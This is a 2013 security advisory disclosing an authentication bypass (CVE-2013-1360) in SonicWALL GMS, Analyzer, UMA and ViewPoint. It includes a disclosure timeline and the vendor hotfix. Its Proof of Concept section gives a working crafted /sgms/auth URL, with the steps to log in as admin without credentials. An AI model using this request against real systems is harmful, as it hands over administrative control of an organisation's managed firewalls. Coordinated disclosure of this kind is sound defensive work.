______________________________________________________________________
-------------------------- NSOADV-2013-002 ---------------------------

SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)
______________________________________________________________________
______________________________________________________________________

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         111111111 0 10 1111 0 11 11 111111111 1 1101 10
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   11 10     001100     0001      111111111111111111 10 11 11110
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  11101        0  1011     10000    00100 11100        00001101 0
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                      111
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  Title:                  SonicWALL GMS/Viewpoint/Analyzer
                          Authentication Bypass (/sgms/)
  Severity:               Critical
  CVE-ID:                 CVE-2013-1360
  CVSS Base Score:        9
   Impact:                8.5
   Exploitability:        10
   CVSS2 Vector:          AV:N/AC:L/Au:N/C:P/I:P/A:C
  Advisory ID:            NSOADV-2013-002
  Found Date:             2012-04-26
  Date Reported:          2012-12-13
  Release Date:           2013-01-17
  Author:                 Nikolas Sotiriu
  Website:                http://sotiriu.de
  Twitter:                http://twitter.com/nsoresearch
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2013-002.txt
  Vendor:                 DELL SonicWALL (http://www.sonicwall.com/)
  Affected Products:      GMS
                          Analyzer
                          UMA
                          ViewPoint
  Affected Platforms:     Windows/Linux
  Affected Versions:      GMS/Analyzer/UMA 7.0.x
                          GMS/ViewPoint/UMA 6.0.x
                          GMS/ViewPoint/UMA 5.1.x
                          GMS/ViewPoint 5.0.x
                          GMS/ViewPoint 4.1.x
  Remote Exploitable:     Yes
  Local Exploitable:      No
  Patch Status:           Vendor released a patch (See Solution)
  Discovered by:          Nikolas Sotiriu



Background:
===========

The SonicWALL® Global Management System (GMS) provides organizations,
distributed enterprises and service providers with a powerful and
intuitive solution to centrally manage and rapidly deploy SonicWALL
firewall, anti-spam, backup and recovery, and secure remote access
solutions. Flexibly deployed as software, hardware, or a virtual
appliance, SonicWALL GMS offers centralized real-time monitoring, and
comprehensive policy and compliance reporting. For enterprise customers,
SonicWALL GMS streamlines security policy management and appliance
deployment, minimizing administration overhead. Service Providers can
use GMS to simplify the security management of multiple clients and
create additional revenue opportunities. For added redundancy and
scalability, GMS can be deployed in a cluster configuration.

(Product description from Website)



Description:
============

DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that
allows an unauthenticated, remote attacker to bypass the Web interface
authentication offered by the affected product.

The vulnerability is attributed to a broken session handling in the
process of password change process of the web application.
changing in the web application.

An attacker may exploit this vulnerability by sending a specially
crafted request to the SGMS Interface (/sgms/).

The attacker gains full administrative access to the interface and
full control over all managed appliances, which could lead to a full
compromisation of the organisation.



Proof of Concept :
==================

Access the following URL to login to the sgms interface:

http://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663
83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092
4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000
00000000001

If the Console is not directly shown, type any password you
want in the change password dialog twice and hit submit to login.

Maybe you need to access the following URL after this process:

http://host/sgms/auth



Solution:
=========

Install Hotfix 125076.77. (Download from www.mysonicwall.com)



Disclosure Timeline:
====================

2012-04-26: Vulnerability found
2012-12-12: Sent the notification and disclosure policy and asked
            for a PGP Key (security@sonicwall.com)
2012-12-13: Sent advisory, disclosure policy and planned disclosure
            date (2012-12-28) to vendor
2012-12-18: SonicWALL analyzed the finding and wishes to delay the
            release to the 3. calendar week 2013.
2012-12-18: Changed release date to 2013-01-17.
2012-12-20: Patch is published
2013-01-17: Release of this advisory